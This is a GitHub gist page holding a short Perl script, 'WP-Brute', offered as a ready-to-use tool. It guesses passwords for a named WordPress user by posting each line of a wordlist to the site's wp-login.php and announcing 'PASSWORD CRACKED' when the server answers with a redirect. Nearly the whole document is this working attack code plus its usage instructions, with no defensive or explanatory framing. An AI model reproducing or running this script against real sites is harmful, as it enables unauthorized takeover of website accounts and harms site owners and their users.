Skip to content

Instantly share code, notes, and snippets.

@dreadpiratesr
Created November 12, 2015 00:36
Show Gist options
  • Save dreadpiratesr/2f1c9ca5d56a8b7f1925 to your computer and use it in GitHub Desktop.
Save dreadpiratesr/2f1c9ca5d56a8b7f1925 to your computer and use it in GitHub Desktop.
#!/usr/bin/perl
# WP-BRUTE BY DPR
# dreadpiratesr
use LWP::UserAgent;
$site = $ARGV[0];
$user = $ARGV[1];
$wordl = $ARGV[2];
if(@ARGV != 3){
print "
WP-Brute by MMxM
How to use: $0 <site> <user> <wordlist>
exe: $0 site.com admin wordlist.txt
";
exit;
}
if ($site !~ /^http:\/\//){
$site = 'http://' . $site;
}
if ($site !~ /\/wp-login.php/){
$site = $site . '/wp-login.php';
}
open(a,"<$wordl") or die "$!";
print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
sleep(2);
while(<a>){
chomp($_);
my $ua = new LWP::UserAgent;
my $response
= $ua->post($site,
{ log => $user,
pwd => $_,
wp-submit => 'Log in',
});
my $code = $response->code;
print "[+] Testing... $_\n";
if($code == 302){
print "\n\n\t[*] PASSWORD CRACKED: $_\n\n";
exit;
}
}
exit;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment